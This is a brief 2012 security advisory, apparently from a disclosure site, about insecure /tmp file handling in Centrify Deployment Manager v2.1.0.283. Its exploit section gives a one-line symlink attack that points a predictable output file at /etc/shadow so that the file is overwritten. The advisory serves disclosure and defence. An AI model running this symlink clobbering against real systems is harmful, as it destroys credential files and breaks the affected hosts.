Centrify Deployment Manager v2.1.0.283 /tmp file clobbering vulnerability

#784 · 2012-12-03

CVE ID(s): CVE-none

Notified: 2012-12-03

Exploit:

$ nobody> ln -s /etc/shadow adcheckDMoutput
# ls -l /etc/shadow
-r-------- 1 root root 3999 Dec 3 14:56 /etc/shadow 
/etc/shadow has been overwritten with the contents of adcheckDMoutput, which is generated when software is pushed to a host via Deployment Manager. 
The 210 appended to the end of files in /tmp is the users UID number.

Notes:

Download: http://www.centrify.com/

URL: http://www.vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp.html